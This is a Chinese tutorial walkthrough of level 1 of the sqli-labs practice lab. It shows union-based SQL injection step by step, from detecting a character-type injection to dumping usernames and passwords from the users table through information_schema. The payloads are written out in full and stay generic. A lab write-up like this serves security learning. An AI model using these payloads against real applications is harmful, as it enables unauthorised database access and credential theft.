sqlilab第一关

1.判断注入方式为字符型

输入正常id=1

sqlilab第一关

注入引号

sqlilab第一关

可以推断查询语句为select * from  users where id=1 limit 0,1; (ps:users表只是举例)

打开第一关的php源码查看结果

sqlilab第一关

打开数据库命令行查询结果

sqlilab第一关

2.查询库名

<1>判断表有几列

当输入order by 3时未报错,而order by 4报错,说明表有三列

sqlilab第一关

sqlilab第一关

<2>判断回显的位置

为了union后的语句可生效,需将之前的报错,改为-1

select 1,2,3 --+   ,数字可以为任意,--+注释掉查询语句后的单引号,使其闭合

sqlilab第一关

<3>显示库名

此处选择在第二列显示库名: ?id=-1' union select 1,(select group_concat(schema_name) from+information_schema.schemata),3 --+

sqlilab第一关

小注:group_concat函数的作用

该表只有一个字段,故group_concat将相同字段在同一行显示

sqlilab第一关

3.查询security表名

id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

sqlilab第一关sqlilab第一关

4.查询User表中的字段名

id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

sqlilab第一关

sqlilab第一关

5.查询所有username,password的内容

id=-1' union select 1,(select group_concat(username) from security.users),3 --+

sqlilab第一关

id=-1' union select 1,(select group_concat(password) from security.users),3 --+

sqlilab第一关

 参考链接:

https://www.cnblogs.com/cnsec/p/11830682.html